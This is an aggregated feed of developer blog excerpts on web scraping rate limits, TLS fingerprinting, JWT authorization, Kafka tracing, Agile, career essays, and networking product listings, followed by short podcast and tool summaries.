    Originally published on SociaVault Blog You've built a scraper. It works perfectly for 10 minutes. Then crashes with a 429 error. Rate limit exceeded. Blocked for 15 minutes. You restart. Same thing. Your data pipeline is broken. Users are waiting. I've hit every rate limit imaginable. Instagram blocked me for a day. Twitter cut me off mid-scrape. TikTok throttled me to nothing. Now I handle millions of API requests daily without issues. Let me show you how. APIs protect their infrastructure with limits: Per second: 10 requests/sec Per minute: 100 requests/min Per hour: 5,000 requests/hr Per day: 50,000 requests/day Hit any limit → blocked temporarily. When rate limited, wait before retrying. But wait longer each time. async function requestWithBackoff(url, headers, maxRetries = 5) { l…  ( 8 min )
    Skills, MCPs, and Commands are the same context engineering trend.
    What are skills: Skills are folders of instructions and scripts that Claude loads to do specialized tasks. The point of skills is to make Claude follow guidelines and be more deterministic. More deterministic Easy to edit, share, and set up. Efficient context use.* This is one of the biggest issues with LLMs right now: they spout a lot of code, and they can and will come up with two different approaches and answers to the same prompt. With skills, we add guardrails, instructions, and scripts that tell the LLM exactly what to do. For example, the playwright-skill I downloaded has a helpers.js file which has a bunch of scripts like launchBrowser or safeClick, so Claude can use those functions and the result will always be the same. Since Skills are just .md files and scripts, they are real…  ( 11 min )
    Why your `fetch()` request fails on Instagram (and how to fix TLS Fingerprinting)
    It's not your IP. It's your handshake.* You write a Python script to scrape a public Instagram profile. 403 Forbidden or Login Required. You buy expensive residential proxies. Why? The answer is TLS Fingerprinting. When your code connects to an HTTPS server (like instagram.com), it performs a "TLS Handshake". During this handshake, your client sends a ClientHello packet. This packet contains: Cipher suites supported TLS versions supported Elliptic curves supported Header order Here is the problem: Chrome's ClientHello looks like A. Python's requests ClientHello looks like B. Node's axios ClientHello looks like C. Instagram's firewall (WAF) looks at this packet. If it sees a request that claims to be "User-Agent: Chrome" but has the TLS fingerprint of "Python Requests", it blocks it instant…  ( 7 min )
    How to trace across message queue - kafka, without writing a log and trace
    Once the system sent messages through the queue, or other asynchronized service, as part of business logic, it's hard to trace who, when and where do they go to and, who, when and where did they come from. Now we have bitryon logger to connect puzzles together into workflow and stack-trace. Following how to automate log and trace without writing a log and trace, we can configure and initiate bitryon logger with spring to cover more traces with logs. Take Kafka as an example. Supposedly we had kafka server installed already. Here is a taste of the trace logs. 2025-11-20 15:42:24.785|http-nio-80-exec-1#38|7G5HPZyA3QWSF2f1SMRN5qV2U95tjOLi|4|JSON| MedicService.java#io.bitryon.example.web.service.MedicService#callSelfInvocation#68#| [{ "testString": "68ssTfeP43IeSVqFWx1jH1VigFuEdUbt" }] 2…  ( 8 min )
    What It Feels Like to Start Tech at 33 and Get Ignored
    Not a Success Story. Just the Truth About Trying. I did grow up around computers but i never took any AP computer science classes nor did i attend any robotics club. I spent most of my adult life doing work that had nothing to do with terminals, VS Code, or GitHub. I was a medic in the 82nd Airborne. I walked roofs with nail guns. I worked security at night. I dealt with overdoses and addiction when I worked case management. I cleaned cat cages at a rescue shelter for years. None of that pointed toward writing software for a living. And for most of my life, I didn’t think tech was even an option for someone like me. When I finally opened a terminal for the first time, it didn’t feel intimidating — but it also didn’t feel normal. Basic commands felt like learning a new language. Learning …  ( 11 min )
    🌍 We are 14-year-old students from Valleyspur International School, Uganda, and we built a complete SDG website from scratch 😳🔥 Our website teaches what to do during war, shows safe locations on a live map, includes emergency call buttons, videos, voic
    UntitledSDG Peace & War Safety Awareness Website | By Michael & Gabriel michaelssekabanja14-maker ・ Nov 20 #codepen  ( 6 min )
    Why JWTs Make Terrible Authorization Tokens
    JSON Web Tokens (JWTs) have become ubiquitous in modern web applications, but they're often misused. The most common mistake? Treating them as an authorization solution when they're an authentication mechanism. This misunderstanding leads to security vulnerabilities, poor user experience, and operational headaches. JWTs are immutable by design. Once signed and issued, the claims inside cannot be changed until expiration. This works for authentication because your identity doesn't change mid-session, but authorization is inherently dynamic. A user's subscription expires mid-day but they retain full access for another hour. An employee gets terminated but their JWT still grants system access until token expiration. A security breach requires immediate permission revocation, but you're stuck …  ( 10 min )
    Text Based 1-on-1s are Effective
    What is this? Text-based 1-on-1 refers to a 1-on-1 meeting that is completed solely through text communication. For instance, when Manager 🐶 and Engineer 🐱 conduct a 30-minute 1-on-1, they would do it as follows: (Before) Traditional Method Conversing during a meeting (After) Text-based 1-on-1 Prepare a collaborative note beforehand and write down questions you want to ask each other During the meeting, do not engage in conversation, but open the note and write answers or additional questions to each other Background Depending on the context, "information" is often important in 1-on-1s. Rather than focusing on the non-verbal information from face-to-face or conversational interactions, it's the quantity and quality of information that can be expressed in words th…  ( 10 min )
    The Architect’s Mindset: Structuring Data for Robust AI Pipelines
    We have all been there. You inherit a codebase or a dataset that feels less like a structured engineering project and more like a crime scene. Variables are mutated randomly, configurations are hard-coded in obscure loops, and data integrity is a mere suggestion rather than a rule. As we push deeper into the era of Generative AI and Large Language Models (LLMs), the tolerance for this kind of chaos evaporates. Clean, compact, and efficient code isn't just an aesthetic preference anymore—it is a requirement for faster data processing and reliable model training. When building high-stakes applications—like an LLM-based research agent—the way you structure your data defines the ceiling of your system's performance. If you are still writing verbose loops to transform lists or using mutable str…  ( 11 min )
    Build with Nano Banana Pro, our Gemini 3 Pro Image model
    Today, we’re releasing Nano Banana Pro (Gemini 3 Pro Image), a higher-fidelity model built on Gemini 3 Pro for developers to access studio-quality image generation. This follows our release of Nano Banana (Gemini 2.5 Flash Image) just a few months ago. Since then, we’ve loved seeing the community put its key features to work — from character consistency to photo restoration, and even using its capabilities to make local edits in an infinite canvas. This state-of-the-art image generation and editing model is starting to roll out in paid preview to build a new wave of intelligent, multimodal applications with the Gemini API in Google AI Studio and Vertex AI for enterprises. This model unlocks high-fidelity images with higher accuracy in text rendering and robust world knowledge, supercharged…  ( 13 min )
    Software Requirements Specification - Case Study 1
    Project Name: Cloud-Based Multi-Service Platform for Smart Event Management Lecture about this content: https://www.youtube.com/watch?v=C4tE1kZNrX4 1. Introduction The system is a cloud-native platform for managing large-scale events (conferences, concerts, workshops) with real-time analytics, ticketing, and personalized recommendations. It will integrate multiple services, each implemented in different languages, and leverage AI tools for development and intelligent features. 2. Overall Description Purpose: Provide event organizers and attendees with a seamless experience for scheduling, ticketing, and engagement. Scope: Web application for users (React + Node.js) Backend microservices (C#, Python, Go) AI-powered recommendation engine CI/CD pipelines for automated deployment Hoste…  ( 7 min )
    Every system has an edge. Linger there and you’ll see what Korzybski meant: the map was never the territory.
    A post by GnomeMan4201  ( 6 min )
    Great news today: we've finally launched a section featuring community projects built with hmpl-js. https://github.com/hmpl-language/projects
    GitHub - hmpl-language/projects: A list of community projects built with hmpl-js A list of community projects built with hmpl-js. Contribute to hmpl-language/projects development by creating an account on GitHub. github.com  ( 6 min )
    DragonMemory: Neural Sequence Compression for Production RAG
    TL;DR: DragonMemory is an open-source RAG system that compresses embedding sequences by 16x (128 tokens → 8 latent vectors) while maintaining high retrieval accuracy. Unlike traditional RAG systems that store full token embeddings, Dragon uses a trained neural compressor to reduce storage requirements and speed up similarity search. Key Results: 16:1 sequence compression (128 → 8 positions) 90.4% token-level cosine similarity after reconstruction >85% retrieval recall @ k=3 on internal benchmarks ~10ms inference per query on GPU Production-ready with Streamlit GUI, persistence, and multi-LLM support Repository: https://github.com/Freeky7819/DragonMemory Standard RAG systems face a fundamental trade-off: Option 1: Store sentence embeddings (384D) ✅ Small storage footprint ❌ Loss of token-le…  ( 12 min )
    Every system has an edge. Stand at the edge long enough and you realize the map was never the territory. Korzybski was onto something.
    A post by GnomeMan4201  ( 6 min )
    Why Your Agile Team Might Be Building on Hope, Not Discipline
    Agreement Requires Discovery You cannot deliver value without agreement on what constitutes value. You cannot have agreement without discovery of what you're actually building. And you cannot apply discovery to improve the agreement if you're afraid of "documentation" and refuse to step outside pointless timeboxes and absurd estimations based on nothing but assumptions. Without agreement on what constitutes value, you're not iterating toward anything. You're operating on hope, not discipline. Software development frequently operates on fictional agreements, creating misaligned teams. The problem isn't new to "Agile" methodologies. Waterfall documentation could be equally full of untested assumptions and vague requirements. But user stories have made the problem worse by treating minimal …  ( 16 min )
    SDG Peace & War Safety Awareness Website | By Michael & Gabriel
    A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions. ![Image descripti**_[]( 1. url )_**on](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lgiir2yt62gr5g2cc6bp.png)  ( 6 min )
    #A Senior Developer Challenge
    This isn't just another coding challenge. This is the real test Getir used to hire senior Android developers in Berlin. And now, it's yours to conquer. We've been running challenges on Liquidcode, and developers have been building some seriously creative stuff. Reimagine Offline The challenge was simple: create an offline screen. One developer built Offline Jellyfish - a full jellyfish animation to simulate no internet connection. Not just a boring "no connection" message. An actual experience. Reinvent Your First Program Everyone starts with printf("Hello, World!"), but you're not just anyone. Re-imagine the classic first line of code. One solution? Chaotic Hello World - where HELLO and WORLD break free from the terminal and take over the screen. Not your average console output. This is…  ( 8 min )
    The Secret Life of Python: Bytecode Secrets - What Python Really Runs
    Timothy stared at his terminal in disbelief. "Margaret, I just learned about the dis module and tried it on the simplest function I could write. Look at this:" import dis def add_numbers(a, b): return a + b dis.dis(add_numbers) Output: 2 0 LOAD_FAST 0 (a) 2 LOAD_FAST 1 (b) 4 BINARY_ADD 6 RETURN_VALUE "My two-line function turned into four instructions! And what are LOAD_FAST and BINARY_ADD? This looks like assembly language. I thought Python was an interpreted language that just runs my code directly. What is all this?" Margaret leaned forward with that familiar knowing smile. "Welcome to Python's secret: bytecode. What you're seeing is what Python actually runs. Your source code is just the input -…  ( 29 min )
    Terraform Was the Bridge, Not the Destination
    I remember when Terraform felt like the obvious answer to infrastructure as code. Cloud platforms were young, their native tooling was clunky, and managing infrastructure across multiple providers manually was painful. Terraform emerged to solve a real problem, and it solved it well. But platforms mature. They internalize the patterns that third-party tools pioneered, and when they do, the advantages shift. The conversation around cloud-native IaC isn't about Terraform failing; it's about recognizing that cloud platforms have reached a maturity point where their native solutions offer fundamental advantages that third-party tools can't match. This pattern repeats across the tech industry. Early platforms start with manual operations and no standardization. Third-party tools emerge to solve…  ( 9 min )
    The most useless python utility for development you can make? Mem lol Pillow
    This is the most useless Python program created for entertainment purposes. I just had nothing better to do. Github: https://github.com/EmberNoGlow/Meme-lol-Pillow/ Just like that. Use it as you wish, it's a public domain  ( 6 min )
    UntitledSDG Peace & War Safety Awareness Website | By Michael & Gabriel
    A student-led SDG project created by Year 9 students Michael Ssekabanja and Gabriel Brenden from Valleyspur International School. This website provides conflict and war safety tips, OpenStreetMap safe locations, emergency call tools, peace education videos, and a cinematic intro. Designed to support Sustainable Development Goals, especially SDG 16 — Peace, Justice & Strong Institutions.  ( 6 min )
    How Weak Leaders Weaponize Empowerment
    I've been thinking about the management practices that all of us encounter: the ones that feel wrong but are hard to name. Personal development goals that feel invasive. "We're a family" rhetoric that breeds guilt. Criticism so vague it becomes impossible to address. Performance improvement plans that feel predetermined. "Unlimited PTO" that results in taking less vacation. These aren't random management mistakes. They share a common pattern: leadership externalizing its own failures onto employees while maintaining control through ambiguity and emotional manipulation. Recognizing this pattern helps you spot unhealthy organizations before they damage your career. If you're in leadership, it helps you avoid perpetuating these failures. Organizations often mandate "personal development goals…  ( 11 min )
    📢 We're opening a list of community projects! You can participate.
    Today we are pleased to finally present a great idea that has been around for a long time, but we never managed to implement it. Constant delays due to new versions and other things have been somewhat of a drag, but now we're opening a list of community projects you can create or connect to. There are many different lists on the internet with interesting projects in various programming fields, and we thought it would be a great idea to open one in our small community. We've noticed that, in essence, to develop the project, people can not only write about it and contribute code to the main repository, but also create and develop their own applications using the template language. Specifically for this purpose, we have also opened a section on the website where we also add information about such projects. I think you'll find this interesting! We value your opinion! Do you think a list like this would be of interest to developers, and why? It would be interesting to read. The list itself Section on the website  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    Bill Simmons and Kyle Brandt team up for a new Ringer Movies Rewatchables episode all about John Hughes’s 1985 cult classic Weird Science. They break down Anthony Michael Hall’s geeky charm, Kelly LeBrock’s iconic turn as the perfect girlfriend, and Ilan Mitchell-Smith’s straight-laced straight man, while riffing on the film’s wild mix of sex, drugs, rock ’n’ roll—and yes, plenty of chains and whips. Backed by producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode balances deep-dive analysis with hilarious off-the-cuff banter. Plus, a quick nod to State Farm’s Personal Price Plan® keeps the show rolling—because even your podcast binge deserves a little insurance. Watch on YouTube  ( 6 min )
    Ringer Movies: The 25 Best Movies of the Century: No. 4 - 'Inglourious Basterds’
    Inglourious Basterds snagged the No. 4 spot on Sean Fennessey and Amanda Dobbins’s countdown of the 25 best 21st-century films, edging out Once Upon a Time in Hollywood with its heady mix of tension, dark humor, and Tarantino’s signature bravado. They rave about Christoph Waltz’s career-launching, swagger-filled performance and the film’s electrifying set pieces that make it a jaw-dropping theater experience. The hosts dive into its legacy, unpacking why this bloody, revenge-fueled saga still resonates—highlighting unforgettable characters, Tarantino’s bold storytelling, and how Inglourious Basterds continues to influence modern cinema. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Ever wondered what’s really wrong with The Wiz now that Wicked has stormed back into theaters? CinemaSins just dropped “Everything Wrong With The Wiz In 15 Minutes Or Less,” where they roast (and celebrate) the 1978 classic. As always, they cram the description with bonus links—hit up their main site for more video geekery, follow TVSins, CommercialSins, and the Cinemasins Podcast on YouTube, or dive into their Linktree for updates, a quick poll, and a friendly nudge to support via Patreon. Behind the sinful curtain are writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel (peep their Twitter and Insta handles if you want to nerd out). Don’t forget to join the community on Discord or Reddit, snag Jeremy’s book, and catch bite-sized sins on Instagram and TikTok. Watch on YouTube  ( 6 min )
    Making Chaos Conversational: A Beginner-Friendly Guide to the LitmusChaos MCP Server
    Modern software systems are becoming more distributed, more complex, and more dependent on reliability than ever before. But reliability isn’t something you bolt on at the end, it’s something you test deliberately. That’s exactly where chaos engineering comes in: by intentionally injecting controlled failures, teams can understand how their systems behave under stress and make them more resilient. LitmusChaos has been one of the most widely adopted open-source frameworks for cloud-native chaos engineering. But even with its intuitive UI (ChaosCenter), CRDs, and CLI, we know that YAMLs and APIs can still feel intimidating, especially for teams just starting out. So, how do we make chaos engineering easier, faster, and more accessible? This is where the LitmusChaos MCP Server comes in. MCP (…  ( 8 min )
    TDD Tests Assumptions, Not Just Code
    I've been thinking about TDD's place in modern development, and I keep running into the same tension. The practical reality often contradicts the theoretical promise. Teams write tests for features they don't yet understand, design interfaces around incomplete requirements, and spend hours writing tests before discovering the domain model was wrong. Then they rewrite everything. The tests that guided development get thrown away. This feels wasteful. Many experienced developers achieve similar results through focused discovery followed by disciplined testing, delivering quality code without strict TDD adherence. The debates get heated: advocates measure test coverage and celebrate red-green-refactor while skeptics count rewritten tests as waste. But I think we're framing TDD wrong in a way …  ( 7 min )
    Databricks Implementation: Best Practices for Data Teams
    Implementing Databricks can unlock massive value from your data infrastructure. But poor setup leads to cost overruns and performance issues. The difference between success and failure? Following proven practices from day one. After implementing Databricks for high-volume data operations, I've learned what actually works. Here are the best practices that will save you time, money, and frustration according to expert opinion from TopSource Global. 1. Design Your Lakehouse Architecture First Don’t start creating notebooks and clusters randomly. Plan your data architecture. Define your bronze, silver, and gold layers. Bronze holds raw data. Silver contains cleaned and validated data. Gold stores business-ready aggregated data. This medallion architecture prevents chaos as your data grows. 2. …  ( 8 min )
    AI Code Generation Requires the Skills It Promises to Replace
    I know, I know: another post about AI code generation. The hype cycle feels exhausting. But after months of using Claude, Gemini, and Cursor daily, I've noticed something that keeps nagging at me. The skills AI promises to eliminate are precisely the skills you need to use it effectively. AI code generation is powerful, but only when you maintain agency. The assistant can generate hundreds of lines of code in seconds, but you need to validate every line, understand the trade-offs, and recognize when it's confidently wrong. That requires domain knowledge, experience with the technology, and the judgment to make decisions: exactly what we hoped AI would let us skip. Here are the ironies I've encountered: Prompts are not magic. I was initially overly optimistic about how much AI already knows…  ( 8 min )
    Agile Works When People Align, Agree, and Deliver
    I know conversations about Agile can feel exhausted at this point. Every team seems to have their own story about why it worked or why it failed. What I've come to see is that Agile works when teams follow a simple pattern: align with needs, agree to plans, and apply what was agreed. When that pattern breaks down, Agile becomes self-serving bureaucracy masquerading as a process. The failure points are predictable. Agile requires integrity more than experience. A senior developer who treats estimates as commitments carved in stone will damage team dynamics more than a junior who admits uncertainty. The difference isn't skill; it's honesty about what you know and what you don't. Organizations often hire for experience and hope integrity follows. It doesn't work that way. Without clear cultur…  ( 8 min )
    I get why people use stuff like squarespace to make websites.
    This is hard :( /* Styling */ #wrapper { position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; border: none; z-index: 9999; display: flex; justify-content: center; align-items: center; background: linear-gradient(45deg, #f0f0f0, #c0c0c0); font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; } button { all: unset; cursor: pointer; …  ( 6 min )
    📜 Prototype of Voxel Terrain Generation in Godot 4
    Hey Dev Community! I’m excited to share a little prototype I’ve been tinkering with: a Procedural VOXEL Terrain Generator for Godot 4. If you’re dreaming of creating blocky worlds (think Minecraft-style landscapes), this tool might just be the quick start you need. This generator produces procedural voxel terrain using Godot 4’s MeshInstance3D and 3D noise algorithms. It’s designed to be: Simple: Minimal setup, easy to understand and modify. Lightweight: No heavy dependencies - just a single script and basic Godot nodes. Flexible: Tweak parameters to shape your world however you like. 📜 License and Compatibility This tool is developed for Godot 4.4. It is in the public domain, so feel free to use, adapt, or build upon it for your games or experiments. → Source code on GitHub: https://github.com/EmberNoGlow/Godot-Procedural-VOXEL-Terrain Asset Library: https://godotengine.org/asset-library/asset/4443 I would love to hear your feedback, suggestions, and bug reports. If you like the project, please consider starring it on GitHub! ⭐ Thanks for reading! I hope this generator helps you in crafting your game worlds.  ( 6 min )
    Monoliths for Discovery, Microservices for Optimization
    I know, I know. It is another post about microservices versus monoliths. The debate feels exhausted at this point. Yet every time I start a new project, I find myself weighing the same questions. Not because the answer is unclear, but because the answer genuinely depends on where you are and what you're trying to learn. There's no universal prescription here. What I've learned is that the choice isn't about finding the "right" architecture in the abstract. It's about choosing what fits your context, your constraints, and most importantly, what you need to discover. 1. Microservices Are Optimizations, Monoliths Enable Discovery Microservices are optimizations for specific problems: team scaling, independent deployment, technology diversity. They're solutions to constraints you've already id…  ( 7 min )
    What Engineering Leaders Ask That Others Don't
    I've worked with engineers who had senior titles but didn't lead anyone. I've also worked with junior engineers who mentored half the team. The difference wasn't in their resume or their technical depth; it was in how they approached their work, their growth, and their responsibility to others. Leadership and mentorship in software development aren't granted by org charts. They emerge from patterns of behavior that compound over time. Here are the questions that reveal those characteristics. There's a difference between ten years of experience and one year of experience repeated ten times. Repeating experience means doing the same work year after year, measuring tenure rather than growth. You master a domain, then stay there. The work feels comfortable because you've solved these problems …  ( 8 min )
    Rack Wall Cabinet 6U - Review
    Overview About Rack Wall Cabinet 6U Height: 6U დაკავშირებული პროდუქტები: 7U კედლის საკომუნიკაციო კარადა 535x400მ Learn more: Rack Wall Cabinet 6U Originally published at innocom.ge  ( 8 min )
    The Path Toward Embedded Systems Expertise
    "The journey of a thousand instructions begins with a single bit" By Harshavardhan | Department of Electronics & Communication Engineering Six months ago, I stood at the threshold of a world I barely understood—a realm where software meets hardware, where abstract code transforms into tangible motion, light, and sound. The course was Processors and Controllers, and little did I know, it would fundamentally change how I perceive technology. This isn't just a technical blog. This is the story of late nights debugging circuits, the euphoria of seeing an LED blink for the first time, and the profound satisfaction of making a stepper motor dance to my code. Welcome to my journey. Chapter 1: The 8086 Foundation Chapter 2: Enter the 8051 Chapter 3: The Interfacing Chronicles Chapter 4: Hardware R…  ( 14 min )
    High-Trust Teams Ship Faster: The Human Side of Engineering
    Most engineering teams think most of their blockers are technical. The brutal truth? The brutal truth? Most engineering teams are hemorrhaging productivity, and they blame a leaky abstraction. We, as engineers, are hardwired to think our blockers are technical: Legacy Monoliths. Slow CI Pipelines. That one service Aris wrote. But I'm here to tell you that in a shocking number of cases, the "technical problem" is just a cheeky little distraction. The real issue is far squishier, far more uncomfortable, and it starts with a capital T for Trust. Low trust doesn't look like a relationship problem; it looks like a system failure. Let's break down how your lack of faith in your teammates is secretly making your code worse and your life miserable. Imagine a team of developers who genuinely like a…  ( 9 min )
    Technance.com و کارتل خوک‌ها: یک اکوسیستم کلاهبرداری دیجیتال
    کلاهبرداری‌های رمزارزی امروز در سال‌های اخیر، ایران شاهد جهش قابل توجهی در کلاهبرداری‌های مرتبط با رمزارز بوده است؛ مسأله‌ای که از یک سو ناشی از فشارهای اقتصادی و از سوی دیگر نتیجه افزایش علاقه عمومی به دارایی‌های دیجیتال است. بسیاری از افراد، در جست‌وجوی فرصت‌های مالی، به پلتفرم‌های آنلاین معامله و سرمایه‌گذاری روی می‌آورند — اما همه‌ی این پلتفرم‌ها آن چیزی نیستند که نشان می‌دهند. کلاهبرداران دنیای رمزارز را به زمین بازی ایده‌آل خود تبدیل کرده‌اند: فضایی تا حد زیادی بدون نظارت، پیچیده و سخت برای راستی‌آزمایی. از دوره‌های جعلی آموزش ترید گرفته تا طرح‌های «سریع پولدار شو»، این افراد از اعتماد کاربران سوءاستفاده کرده و با وعده‌ی سود، سرمایه‌ی آنها را آرام و بی‌صدا تخلیه می‌کنند. موج جدید این کلاهبرداری‌ها شامل صرافی‌های جعلی‌ای است که توسط اینفلوئنسرها تبلیغ می‌شوند؛ پلتفرم‌هایی که ظاهری ک…  ( 10 min )
    Padrões de projeto no front-end?
    Alguns meses atrás me deparei com a necessidade de refazer um projeto front-end do zero. Isso me levou a uma busca por padrões de projetos aplicados ao front-end - algo que, particularmente, não é tão fácil de encontrar quanto no back-end. Depois de algum tempo estudando sobre monolitos, micro front-ends e monolitos modulares, cheguei a algumas reflexões que rascunho abaixo. Uma das primeiras questões que veio à mente foi: qual dos modelos adotar? Para isso, considerei os pontos abaixo. Micro front-end Pros Contras Monolito Pros Contras Monolito Modular O monolito modular traz um ponto de equilíbrio entre os dois extremos. Ele mantém um único projeto e um único deploy, mas organiza o código em módulos bem separados, com responsabilidades claras, limites explícitos e baixo acoplamento. Dessa forma, múltiplas pessoas podem trabalhar em paralelo — desde que estejam em módulos distintos — sem o mesmo nível de conflito de um monolito comum. Além disso, caso algum módulo precise virar um serviço independente no futuro, o esforço de extração tende a ser muito menor do que em um monolito tradicional. Mas existe um ponto crucial para que esses módulos façam sentido: DDD. E esse é um tema que vale um artigo próprio.  ( 7 min )
    UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m - Review
    Overview About UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m დაკავშირებული პროდუქტები: UTP Cat6 Patch cord,7*0.18 24AWG (CU) 3m Learn more: UTP Cat6 Patch cord,7*0.16 26AWG (CCA) 0.5m Originally published at innocom.ge  ( 8 min )
    Entendendo Sícrono vs Assíncrono: Threads, Await e Performance
    Conceitos como esses inevitavelmente aparecem na vida de quem desenvolve software. No começo, tudo parece confuso — e é normal. Você não precisa entender tudo de uma vez, quase ninguém entende. Mas maturar esses temas ao longo do tempo, sem fugir deles por medo da complexidade, é essencial. Você já se perguntou por que alguns aplicativos travam enquanto carregam algo, enquanto outros continuam funcionando normalmente? Ou por que certos servidores conseguem atender milhares de usuários ao mesmo tempo, enquanto outros ficam lentos com apenas dezenas? A resposta está na forma como o código lida com operações demoradas — e é isso que vamos entender agora. Neste artigo, quero esclarecer esses conceitos de forma direta e prática, para que sua jornada seja mais tranquila desde o início. Antes de …  ( 11 min )
    Cat5e UTP ქისთონ ჯეკი - Review
    Overview About Cat5e UTP ქისთონ ჯეკი Cat5e UTP keystone jack Learn more: Cat5e UTP ქისთონ ჯეკი Originally published at innocom.ge  ( 8 min )
    CAT6A UTP Keystone Jack Toolless 180 - Review
    Overview About CAT6A UTP Keystone Jack Toolless 180° CAT6A UTP Keystone Jack Toolless 180° Learn more: CAT6A UTP Keystone Jack Toolless 180° Originally published at innocom.ge  ( 8 min )
    5 Powerful Jira Time Tracking Tools Developers Actually Enjoy Using
    Time tracking in Jira can be a blessing or a bottleneck, depending on the tool you plug in. Whether your team needs deeper reporting, lightweight timers, or advanced billing workflows, the right solution can turn Jira time tracking from a chore into a productivity booster. Here are five tools worth checking out in 2026. Best for: Teams that want clean UI + reliable Jira time tracking + strong reporting TMetric offers a frictionless way for Jira time tracking while keeping everything synced across projects. Developers can use browser extensions, desktop apps, or mobile to track work on tasks, and the data flows right into Jira automatically. It’s especially good for teams that need a combination of time tracking, billing, and project analytics. Key features: One-click timer for Jira issues …  ( 7 min )
    CAT6 UTP RJ45 კონექტორი, 2 ცალი - Review
    Overview About CAT6 UTP RJ45 კონექტორი, 2 ცალი CAT6 UTP RJ45 Connector,2-Piece Learn more: CAT6 UTP RJ45 კონექტორი, 2 ცალი Originally published at innocom.ge  ( 8 min )
    ფრანგული სტილის ერ ბუდიანი როზეტი - Review
    Overview About ფრანგული სტილის ერ ბუდიანი როზეტი FRENCH STYLE SINGLE GANG FACEPLATE Learn more: ფრანგული სტილის ერ ბუდიანი როზეტი Originally published at innocom.ge  ( 8 min )
    Top 10 SEO AI Tools Dominating Search in 2026
    The search landscape has transformed dramatically. Traditional blue-link rankings now compete with AI-generated answers, Google's AI Overviews, and conversational search platforms like ChatGPT and Perplexity. Today's successful SEO strategy requires tools that understand this new reality—platforms that combine traditional optimization with answer engine optimization (AEO) and AI-powered automation. After extensive research into the latest AI SEO solutions, I've compiled this definitive guide to the most powerful tools reshaping search visibility in 2026. These platforms don't just track rankings; they help you dominate AI-powered search results while streamlining your entire optimization workflow. Semrush has evolved beyond traditional SEO into a full-spectrum AI marketing suite. Their fla…  ( 11 min )
    **Evaluación ética y responsable de plataformas de Prevenció
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    Big BOMB! 💣 PWA, Service Worker and Push Notification in WebForms Core 2
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    Dealing with stale closure in React
    What is a closure? In Javascript, a closure is created anytime a function is created. When a function is created, it captures the references (memory address) to the variables available in its surrounding environment (its lexical scope). If this outer function returns an inner function, and the inner function uses some of those captured variables, those variables are kept alive (they don't get cleared from memory) and are bundled with the returned inner function. This means the returned inner function can later be executed and still access and modify those preserved variables, even though the original outer function call is long finished. Closure captures the memory address of a variable, not its value. // 1. Outer function that defines a variable and returns an inner function function cr…  ( 10 min )
    .slnx vs .sln: What's the Difference?
    Hey there! 👋🏻 If you've been keeping up with the latest updates in .NET, you might have noticed something interesting in Visual Studio 2022 version 17.13 and .NET 9: a brand new solution file format with the .slnx extension! Let's take a quick look at what this is all about. The .slnx format is Microsoft's fresh take on the solution file. Unlike the traditional .sln files we've been using for ages, this new format uses XML instead of the proprietary format that's been around since forever. The old .sln format has served us well, but let's be honest, it's not exactly the most human-readable thing out there. The .slnx format aims to fix that! Here's the cool part, the .slnx format is much cleaner and easier to read. If you've ever tried to manually edit a .sln file, you know it can be a…  ( 7 min )
    Notion vs Obsidian: Which One Fits Your Workflow?
    We all want the tools we use to align with how we think. But when faced with a choice between a structured platform and a flexible system, which one do you actually need? Notion and Obsidian sit at the center of this conversation. Both help you capture ideas, organize projects, and connect knowledge. Yet their core philosophies are almost opposites. This article compares these two platforms in terms of workflow, collaboration, and data ownership. We won't be picking a winner. Instead, we'll help you see which one better suits your priorities. Let's dive in. First, let's understand where each one stands. Notion is an all-in-one, cloud-based productivity workspace. It combines notes, databases, and project tools in one seamless interface. Its focus is on structure, design, and team collabora…  ( 8 min )
    No More Firefighting: Your n8n Workflow Blueprint
    A few months ago, I was thrown into a project where six disconnected spreadsheets kept breaking every manual report. Every day felt like firefighting. That frustration pushed me to build a clean, automated workflow — one reliable enough that anyone could trust. I once spent a full week debugging a workflow that kept collapsing because three spreadsheets disagreed on what “miles” meant. That chaos taught me a simple truth: great automations aren’t fast — they’re disciplined. And that’s what this guide gives you. ⚡ Below is a practical guide for building strong n8n data-analysis workflows, avoiding the common traps, and using concrete merging and validation patterns you can implement immediately. Before writing a single line of automation logic, please follow one rule: If the data is uncle…  ( 8 min )
    Ruckus ICX6450-48 - 48 პორტიანი მართვადი სვიჩი - Review
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    Ubiquiti UniFi U6-LR Wi-Fi 6 დაშვების წერტილი მაღალი გამტარობით და გაფართოებული დაფარვით - Review
    Overview About Ubiquiti UniFi U6-LR Wi-Fi 6 დაშვების წერტილი მაღალი გამტარობით და გაფართოებული დაფარვით UniFi U6-LR Wireless Access Point • სიხშირეები და სიჩქარე: Learn more: Ubiquiti UniFi U6-LR Wi-Fi 6 დაშვების წერტილი მაღალი გამტარობით და გაფართოებული დაფარვით Originally published at innocom.ge  ( 7 min )
    Best Chrome Extensions for Productivity in 2025: Save Time and Stay Focused
    Best Chrome Extensions for Productivity in 2025: Save Time and Stay Focused As someone who constantly explores new tools and technologies to improve convenience and productivity, I've discovered that Chrome extensions are among the most powerful yet underutilized productivity enhancers. These digital assistants run silently in your browser, automating tasks, blocking distractions, and transforming how you work online. In 2025, with remote and hybrid work becoming the norm, the right set of Chrome extensions can mean the difference between drowning in digital chaos and maintaining focused, efficient workflows. Let's explore the best productivity-boosting extensions that will save you hours every week. Chrome extensions act as lightweight software that enhances your browser's capabilities …  ( 13 min )
    Zero Balance Bank Accounts in India 2025: Complete Guide to Free Banking
